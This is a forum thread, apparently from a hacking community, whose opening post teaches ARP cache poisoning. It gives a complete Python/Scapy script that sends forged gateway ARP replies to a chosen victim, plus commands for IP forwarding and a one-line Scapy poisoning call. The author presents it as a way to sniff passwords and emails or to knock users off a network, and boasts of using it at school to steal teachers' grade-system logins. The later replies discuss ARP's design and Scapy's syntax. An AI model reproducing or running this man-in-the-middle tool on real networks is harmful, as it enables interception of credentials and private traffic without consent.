Author Topic: ARP cache poison via python  (Read 3023 times)

0 Members and 1 Guest are viewing this topic.

Offline techb

  • Soy Sauce Feeler
  • Global Moderator
  • King
  • *
  • Posts: 2350
  • Cookies: 345
  • Aliens do in fact wear hats.
    • View Profile
    • github
ARP cache poison via python
« on: May 23, 2015, 08:30:11 am »
In response to the guy complaining about people not teaching, and partly because I've been bored at work, here is a tutorial on using python to ARP cache poison on a local network.

I am using Arch linux and Python 2.7

Intro to ARP

Before we jump into the code you need to understand what ARP is, what it does and the structure of it's packets. ARP stands for Address Resolution Protocol. The function of it is to associate an IP address with its MAC address. The reason we need the MAC in the first place is because layer 2 [data link] of the osi model communicates via MAC addresses.

It is silly to send out an ARP request every time you needed to reach another device, so that is where the ARP table comes in. The table is a cache of IP addresses and their associated MACs. When you want to send info or connect to something, the computer checks its ARP table if it has the IP and MAC already, if so it sends off the data.

Normally an ARP transaction starts with a request, then it gets a response. But the funny thing, and why this attack works, is you can send a reply even though no request was sent. The computer sees the reply and reacts like it sent a request, even though it didn't, and updates the ARP table anyway.

But Why?

You might be wondering why we would want to do this in the first place. Well, every device communicates on layer 2, including your router or default gateway. So if you forge an ARP reply to look like it came from the gateway with your personal MAC address, you will now receive all layer 2 traffic from the target that was meant for the gateway.

This is what is known as a Man in the Middle attack or MitM. If you forward the traffic to the gateway you are now sitting between the target and the internet effectively sniffing their traffic. You can see where they are going, you could sniff plain text usernames and passwords, emails, irc, etc... I've even used this in school to grab login details from teachers for the program they use to log grades and such. You can DoS people by not forwarding their traffic. There is a lot you can do here.

Digging Further

Here is a visual of an ARP header:


Hardware type: Is what we are sending on, our case is Ethernet, but there are others such as IEEE 802, Serial Line, LocalTalk, etc.. Can find more here 16 bits
Protocol Type: Is IP. 16 bits
HW addr lth: Hardware address length is. 8 bits [MAC address lenght]
P addr lth: Protocol address length is. 8 bits [IP address]
Opcode: Defines request or response. 16 bits
The last four are self explainatory.

We could use raw sockets and build the ethernet frame and arp header by hand, but there are easier ways. I might eventually write another tutorial or post a snippet of doing this, but for now we are only talking about ARP poisoning. So now onto the code.

Le Code

I am using Python 2.7 and you will need to install Scapy
Code: [Select]
pip2 install scapy
Code: (python) [Select]
#! /usr/bin/python2

# I guess scapy requires tcpdump to rid
#  fucking runtime log warnings... :/
#  pacman -S tcpdump

# ip forrwarding until reboot
#  sysctl net.ipv4.ip_forward=1
#  echo 1 > /proc/sys/net/ipv4/ip_forward

# scapy == women, use logging to stop it from
#  yelling at you over stupid shit
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *
import time, sys, os, re

# get mac from an ip on lan via icmp
#  you can use ARP to get it, but that
#  can be your homework assignment
def getRemoteMac(target):
ping = IP(dst=target)/ICMP()
ping_reply = sr1(ping,verbose=0,timeout=2)
if not ping_reply:
print "No reply, invalid target. Suicide?"
sys.exit()
else:
cmd_response = os.popen("arp -n '%s'" % target).read()
mac = re.search(r"\w+:\w+:\w+:\w+:\w+:\w+", cmd_response)
mac = mac.group() #should only be one motherfucker
return mac

# Linux only, Windows users have another homework assignment here
def getOwnMac(interface):
fd = open("/sys/class/net/%s/address" % interface , "r")
mac = fd.read()
fd.close()
return mac.strip()

# Could expand to see which interface is UP or DOWN
#  also could use to get local mac address as well
#  more homework you lazy cunt, lol
def getInterfaces():
raw = os.popen("ip link show").read()
interface = re.findall(r"\d: \w+:", raw)
for i in interface:
print i[:-1]

op = 2 #op code for ARP reply, 1 is a request

# Get required info. Could just use argvs
#  but I like the interactivity
getInterfaces()
interface = str(raw_input("Interface: "))
victim_ip = str(raw_input("Victim IP: "))
gateway_ip = str(raw_input("Gateway IP: "))
own_mac = getOwnMac(interface)

# genorate target arp header
arp = ARP(op=op,
          psrc=gateway_ip,
          pdst=victim_ip,
          hwdst=own_mac)

# Start cache poisen. I don't have any
#  graceful closures because I'm an asshole.
#  A gentalmen would catch a ctrl+c and
#  revert the ARP tables. Meh.
print "running..."
while True:
send(arp, verbose=0)
time.sleep(1.5)

Most of this is helping functions and comments. The only real relevant part is at the end. You only really need 2 or three lines of code if you hard code the options like the ip addresses and mac addresses. The comments should explain the code well enough so I'm not going to write a line by line explanation here.

You can also run Scapy interactively which has a built-in arp poison method.
Code: [Select]
arpcachepoison("your ip", "target ip")


Ref Material
Sites:
http://www.networksorcery.com/enp/protocol/arp.htm
https://en.wikipedia.org/wiki/Address_Resolution_Protocol
https://en.wikipedia.org/wiki/ARP_spoofing

Scapy:
http://www.secdev.org/projects/scapy/doc/usage.html
http://www.secdev.org/projects/scapy/demo.html
http://packetlife.net/blog/2011/may/23/introduction-scapy/

Books:
http://evilzone.org/ebooks/python-penetration-testing-essentials-2015/?action=dlattach;attach=5476
http://upload.evilzone.org/?page=download&file=BNXpJhMfUFQxXwH6a0bb03ASN8wT0fkZ2wNX6aWYfhr2ZZ7mfu
http://evilzone.org/ebooks/understanding-network-hacks-attack-and-defense-with-python-2015/?action=dlattach;attach=5475

Example using raw sockets:
https://evilzone.org/scripting-languages/%28python%29arp-poison-using-raw-sockets/
« Last Edit: October 16, 2015, 01:53:46 am by techb »
>>>import this
-----------------------------

dotcppfile

  • Guest
Re: ARP cache poisen via python
« Reply #1 on: May 26, 2015, 09:13:43 pm »
This is really nice and let me add that ARP is obviously only used on LANs and that is because switches only uses MAC Address for communication and when it comes to the way ARP works then we can sum it up by saying it's dumb as fuck Lol. The fact that if 192.168.1.2 wants to ping 192.168.1.3 he has to get his mac address first and this requires 1.2 to go for a broadcast asking every pc on the lan if his ip is equals to 1.3 and whoever replies wins lol which is stupid and the fact that, just like op said, you can send an ARP packet to 1.2 and 1.2 will actually handle it normally even if he didn't ask for one is even more stupid... Whoever made all this was probably fuckin drunk Lol.

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: ARP cache poisen via python
« Reply #2 on: May 27, 2015, 12:06:04 pm »
Awesome post :)
Thanks.

Would be nice to do it manually with scapy though , its cool and all that there is a built in function to do it but since this is a packet crafter its kinda lame , imo.
But hea whatever floatsyourboat.


(Title: poisen ??)
« Last Edit: May 27, 2015, 12:08:08 pm by proxx »
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline techb

  • Soy Sauce Feeler
  • Global Moderator
  • King
  • *
  • Posts: 2350
  • Cookies: 345
  • Aliens do in fact wear hats.
    • View Profile
    • github
Re: ARP cache poisen via python
« Reply #3 on: May 27, 2015, 12:19:32 pm »
Awesome post :)
Thanks.

Would be nice to do it manually with scapy though , its cool and all that there is a built in function to do it but since this is a packet crafter its kinda lame , imo.
But hea whatever floatsyourboat.


(Title: poisen ??)

Title fixed. And I did use scapy to build an ARP header. The built-in I think is more for the interactive mode scapy has.
>>>import this
-----------------------------

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: ARP cache poisen via python
« Reply #4 on: May 27, 2015, 12:29:22 pm »
Title fixed. And I did use scapy to build an ARP header. The built-in I think is more for the interactive mode scapy has.
Yeah I think I was a little overbaord with that.
Perhaps it would be nice to include some code that crafts the packet and sends it.

I did quite some stuff with scapy some years ago , I still cannot really wrap my brain around the weird syntax nor do I understand why the dev did as he did, it just looks ugly and feels counter intuitive , but hea maybe thats just me and kust lack the insight.
Point being that it might give some insight in how scapy behaves for the newcomer.
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline techb

  • Soy Sauce Feeler
  • Global Moderator
  • King
  • *
  • Posts: 2350
  • Cookies: 345
  • Aliens do in fact wear hats.
    • View Profile
    • github
Re: ARP cache poisen via python
« Reply #5 on: May 27, 2015, 12:35:41 pm »
[snip] I still cannot really wrap my brain around the weird syntax[snip]

It's really weired I agree. Like encapsulating headers with "header1()/header2()/header3()/payload()". Why on earth would anyone want to override the devision symbol is beyond me. But, then again, it beats building packets and ethernet frames by hand and having to use struct to muck around on the sockets.
>>>import this
-----------------------------